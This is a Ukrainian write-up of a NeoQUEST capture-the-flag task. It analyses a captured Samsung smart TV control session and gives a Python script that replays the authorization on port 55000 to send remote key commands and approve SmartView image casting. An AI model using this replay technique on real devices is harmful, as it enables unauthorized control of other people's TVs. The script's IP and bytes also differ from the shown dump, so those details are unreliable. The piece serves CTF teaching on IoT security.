Гей, телевізор, ти що, самий «розумний»?

Про небезпеку використання «розумних» телевізорів чули, напевно, усі. Кажуть, що вони спостерігають за власником і прослуховують його розмови. Але це не турбує більшість користувачів, які продовжують спокійно заповнювати форми авторизації прямо на екрані TV.

Ми вирішили перевірити, чи реально зробити щось цікаве з розумним телевізором, не маючи фізичного доступу до нього (спойлер: реально!), і готові розповісти про це на прикладі розбору завдання з NeoQUEST!

Вихідні дані
Учасникам потрібно було вивести на екран телевізора певну картинку. Все, що у них було — IP-адреса телевізора і дамп сесії, що збільшує гучність телевізора. Фізичний доступ до телевізора був закритий (в тому числі ІК-порт), однак при цьому учасники могли бачити все, що з'являється на екрані.

Розбираємо дамп сесії
Адреса керуючого комп'ютера — 10.0.20.130, а адреса телевізора — 10.0.20.105. Вміст дампа мережевого трафіку виглядає наступним чином:



Відкинемо всі службові пакети, не несуть смислового навантаження. Залишається 4 пакету:



З повною структурою пакетів можна ознайомитися за посилання, ми ж розглянемо найбільш цікаві поля.

Отже, перший пакет, який посилає керуючий комп'ютер, виглядає наступним чином:

0000 00 0c 00 6e 65 6f 71 75 65 73 74 2e 61 70 70 38 ...neoqu est.app8
0010 64 00 00 10 00 54 47 56 6e 61 58 51 67 56 58 4e .d...TGV naXQgVXN
0020 6c 63 67 3d 3d 10 00 54 6d 39 46 59 58 4e 35 56 lcg==..T m9FYXN5V
0030 32 46 35 54 33 56 30 10 00 54 47 56 6e 61 58 51 2F5T3V0. .TGVnaXQ
0040 67 56 58 4e 6c 63 67 3d 3d gVXNlcg= = 

Тут:

  • «neoquest.app» — рядок, яка може приймати будь-яке значення;
  • «TGVnaXQgVXNlcg==» та «Tm9FYXN5V2F5T3V0» — рядки, закодовані в base64. Після декодування отримали «Legit User», «NoEasyWayOut» відповідно.
Очевидно, що це пакет авторизації. Другий пакет містить інформацію про успішність авторизації:

0000 00 0c 00 69 61 70 70 2e 73 61 6d 73 75 6e 67 04 ...iapp. samsung.
0010 64 00 00 01 00 .d... 

Зміст рядка «iapp.samsung» невідомий, а ось останні 4 байти (64 00 01 00) означають, що авторизація пройшла успішно і далі можна посилати керуючі команди.

Третій пакет є керуючим:

0000 00 0c 00 6e 65 6f 71 75 65 73 74 2e 61 70 70 11 ...neoqu est.app.
0010 00 00 00 00 0c 00 53 30 56 5a 58 31 5a 50 54 46 ......S0 VZX1ZPTF
0020 56 51 VQ 

За аналогією, останній рядок (S0VZX1ZPTFVQ) — це команда, закодована в base64, після декодування якої виходить рядок «KEY_VOLUP», що збільшує гучність телевізора (VOLume UP).

Розглядаємо останній пакет: в його останніх чотирьох байтах зберігаються нулі, що вказує на успішне виконання команди:

0000 00 0c 00 69 61 70 70 2e 73 61 6d 73 75 6e 67 04 ...iapp. samsung.
0010 00 00 00 00 00 ..... 

Відтворюємо сесію
Перше, що хочеться зробити після розбору дампа – спробувати відтворити сесію. Для цього пишемо невеликий код:

import socket
from base64 import b64encode

tv_ip = "10.0.20.101"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((tv_ip, 55000))

#---- Authorization--------
msg = b'\x00\x0c\x00'+b'c neoquest.app'+b'\x38\x00\x64\x00\x10\x00'+\
b64encode(b'c Legit User')+b'\x10\x00'+b64encode(b'c NoEasyWayOut')+\
b'\x10\x00'+b64encode(b'c Legit User')
sock.sendall(msg)
print(sock.recv(1024))

#---- Command--------------
msg = b'\x00\x0c\x00'+b'c neoquest.app'+b'\x11\x00\x00\x00\x00\x0c\x00'+\
b64encode(b'c KEY_VOLUP')
sock.sendall(msg)
print(sock.recv(1024))

sock.close()

Запускаємо…



Відмінно! Телевізор збільшив свою гучність на 1, а це означає, що нам вдалося успішно авторизуватись і виконати команду. На цьому завершилася перша частина завдання. Їдемо далі…

Виводимо картинку на екран
Тепер нам якимось чином потрібно вивести зображення на екран. Знаючи, що піддослідний телевізор — фірми Samsung, і, трохи погугливши, знаходимо додаток Samsung SmartView, яке вміє посилати на телевізор картинку, не вимагаючи при цьому ніякої нетривіальною налаштування.

Алгоритм дій в даному випадку буде приблизно такий:

  1. Встановлюємо і запускаємо SmartView на своєму персональному комп'ютері.
  2. Телевізор автоматично визначився, пробуємо підключитися.

    На екрані телевізора з'явилося вимога авторизувати наш пристрій.





    Розуміємо, що нам потрібно виконати команду натискання на кнопку Enter для успішної авторизації. Знаходимо в Інтернеті опис команд, звідки бачимо, що нам потрібно вибрати «KEY_ENTER».

  3. Запускаємо наш код, замінивши «KEY_VOLUP» на «KEY_ENTER».

    Змінений код
    import socket
    from base64 import b64encode
    
    tv_ip = "10.0.20.101"
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((tv_ip, 55000))
    
    #---- Authorization--------
    msg = b'\x00\x0c\x00'+b'c neoquest.app'+b'\x38\x00\x64\x00\x10\x00'+\
    b64encode(b'c Legit User')+b'\x10\x00'+b64encode(b'c NoEasyWayOut')+\
    b'\x10\x00'+b64encode(b'c Legit User')
    sock.sendall(msg)
    print(sock.recv(1024))
    
    #---- Command--------------
    msg = b'\x00\x0c\x00'+b'c neoquest.app'+b'\x11\x00\x00\x00\x00\x0c\x00'+\
    b64encode(b'c KEY_ENTER')
    sock.sendall(msg)
    print(sock.recv(1024))
    
    sock.close()


  4. SmartView успішно авторизований. Залишилося вибрати потрібну картинку і відправити її на телевізор!
Невтішні висновки
Виявилося, що отримати доступ до «розумного» телевізора керування гучністю і контентом, виведеним на екран, цілком реальне завдання!

Пригадується зловісне попередження Євгенія Касперського:
Комп'ютери заражаються, мобільні телефони заражаються. Що буде наступне?.. Я впевнений, що наступний абсолютно новий вид атак буде на розумні телевізори. Все, що виходить в Інтернет, все, що буде підключено до мережі, рано або пізно буде «хакнуто».
Що робити — йти до свого телевізора і закривати йому доступ в Інтернет? Або терміново купувати/розробляти антивірус для «розумних» телевізорів? Або сідати за комп'ютер і розробляти план помсти для недруга?

Це особистий вибір кожного. А ми лише продемонстрували одну з небезпек Інтернету речей. На цьому ми не зупинимося: попереду новий NeoQUEST і нові завдання, що демонструють проблеми забезпечення безпеки сучасних технологій.
Джерело: Хабрахабр

0 коментарів

Тільки зареєстровані та авторизовані користувачі можуть залишати коментарі.